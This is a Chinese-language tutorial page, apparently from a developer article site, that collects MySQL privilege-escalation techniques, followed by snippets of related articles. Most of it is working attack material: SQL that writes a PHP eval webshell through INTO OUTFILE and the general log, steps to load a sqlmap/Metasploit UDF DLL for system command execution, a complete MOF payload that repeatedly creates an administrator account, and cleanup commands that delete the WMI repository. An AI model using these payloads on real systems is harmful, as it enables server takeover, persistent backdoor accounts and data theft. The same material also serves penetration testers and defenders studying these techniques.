Mysql提权的多种姿势汇总

目录
  • 一、写入Webshell
    • into outfile 写shell
    • 日志文件写shell
  • 二、UDF提权
  • 三、MOF提权
  • 总结

一、写入Webshell

into outfile 写shell

前提条件:

1、知道网站物理路径

2、高权限数据库用户

3、load_file() 开启 即 secure_file_priv 无限制

4、网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

show global variables like '%secure_file_priv%';

value 说明
NULL 不允许导入或导出
/var 只允许在/var目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面的 SQL 语句来直接写 shell:

select '<?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';

查看目标路径下,已写入shell.php文件

上菜刀连接

日志文件写shell

前提条件:

1、Web 文件夹宽松权限可以写入

2、Windows 系统下

3、高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

查看日志目录

SHOW VARIABLES LIKE 'general%';

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

更改日志文件位置

set global general_log = "ON";
set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';

查看当前日志配置

目标目录下查看,写入了log.php文件

写入shell

select '<?php @eval($_POST[cmd]); ?>'

上菜刀,连接


二、UDF提权

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

sqlmap的UDF动态链接库文件位置

sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py ,

解码方法如下:

解码32位的windows动态链接库:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

其他linux和windows动态链接库解码类似

或者直接使用metasploit自带的动态链接库,无需解码

Metasploit的UDF动态链接库文件位置

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

show variables like '%plugin%'

写入动态链接库

当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的

select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';

c

创建自定义函数并调用命令

创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否新增了sys_eval

接着就可以通过创建的这个函数来执行系统命令了:

删除自定义函数

drop function sys_eval;

三、MOF提权

mof提权原理

关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

严苛的前提条件:

1.windows 03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

3.secure-file-priv参数不为null

提权过程:

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用代码如下(test.mof):

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\soft\,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

验证提权:

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

关于MOF提权弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

#停止winmgmt服务
net stop winmgmt

#删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 删除创建的用户
net user hpdoger /delete

#重启服务
net start winmgmt

总结

到此这篇关于Mysql提权姿势的文章就介绍到这了,更多相关Mysql提权姿势内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Linux利用UDF库实现Mysql提权

    环境: os:linux(bt5)   database:mysql   简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同.   要求:  在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止:   过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 mysql> show variables like "%p

  • Mysql提权方法利用

    mysql是一个常用的数据库系统,应用极广泛,如果得到一个mysql的用户权限,如果提升呢,下面这个思路很先进! 但得有一定编程基础! 现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF,比如Mix.dll和my_udf.dll.在Mix.dll中有一个MixConnect函数它会反弹shell,但是使用这个函数会造成MYSQL假死,前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了,造成了MYSQL当掉.my_udf.dll和Mix.dll相似,但它是通

  • 提权,以MySQL之名

    作者kEvin  注:稿件已刊登于<黑客防线>2005年第7期上,转载请著明版权与出处. 前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器.最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.  其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的

  • Mysql提权的多种姿势汇总

    目录 一.写入Webshell into outfile 写shell 日志文件写shell 二.UDF提权 三.MOF提权 总结 一.写入Webshell into outfile 写shell 前提条件: 1.知道网站物理路径 2.高权限数据库用户 3.load_file() 开启 即 secure_file_priv 无限制 4.网站路径有写入权限 首先基础语法查询是否 secure_file_priv 没有限制 show global variables like '%secure_fi

  • MySQL 数据恢复的多种方法汇总

    目录 1.前言 2.直接恢复 2.1 mysqldump 备份全量恢复 2.2 xtrabackup 备份全量恢复 2.3 基于时间点恢复 3.恢复一个表 3.1 从 mysqldump 备份恢复一个表 3.2 从 xtrabackup 备份恢复一个表 4.跳过误操作SQL 4.1 使用备份文件恢复跳过 4.2 使用延迟库跳过 5. 闪回. 5.1 binlog2sql 5.2 MyFlash 1.前言 数据恢复的前提的做好备份,且开启 binlog,格式为 row.如果没有备份文件,那么删掉库

  • Oracle 低权限数据库账户得到 OS 访问权限 提权利用

    这几天看了篇叫"Penetration: from application down to OS (Oracle)"的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和 connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺骗服务器, 来得到系统的访问权限.我本地测试了下,还真的成功了.:-) 具体的原理分析看原文吧,我

  • mysql 数据库备份的多种实现方式总结

    本文实例讲述了mysql 数据库备份的多种实现方式.分享给大家供大家参考,具体如下: 一.使用mysqldump进行备份 1.完整备份所有数据库 mysqldump -u root -p --all-databases > E:/all.sql 在mysql8之前,存储过程和事件存储在mysql.proc和mysql.event表中. 从mysql8开始,相应对象的定义存储在数据字典中,这些表不会被备份. 要将存储过程和事件也包含,请使用如下语句: mysqldump -u root -p --

  • python脚本实现Redis未授权批量提权

    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 安装依赖 sudo easy_install redis 使用 redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: -----------------------------------

  • 防止aspxspy木马列服务 iis信息 执行命令提权等操作

    环境:windows2003+iis6+.net2.0 处于安全考虑,对服务器安全进行设置.上传aspxspy测试. ASPXSPY探针 1.禁止aspxspy木马执行命令提权 和读取注册表 测试方法一: 先打开:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\config\web.config 之后找到 <trust level="Full" originUrl="" /> 改为 <trust leve

  • Serv-U防溢出提权攻击解决设置方法

    前言: 大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点.甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了:虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷.(注:最常见的就如

  • 虚拟主机封杀webshell提权!!!!!!!!!!

    1.为了打造一个安全的虚拟主机,在asp+SQL环境下,我们要做的是封杀ASP webshell.封杀serv-u提权漏洞和SQL注入的威胁 2.默认安装的win主机上webshell功能十分强大,我们要封杀webshell的哪些功能 也就是不让webshell查看系统服务信息,执行cmd命令和略览文件目录,我们要实现的功能是每个用户只能访问自己的目录,而且可以用FSO等ASP组件,在这里我以海洋木马和win200为例给大家演示一下.好多资料都是网上收集而来,在这表示感谢. 3.现在我们先设置好

随机推荐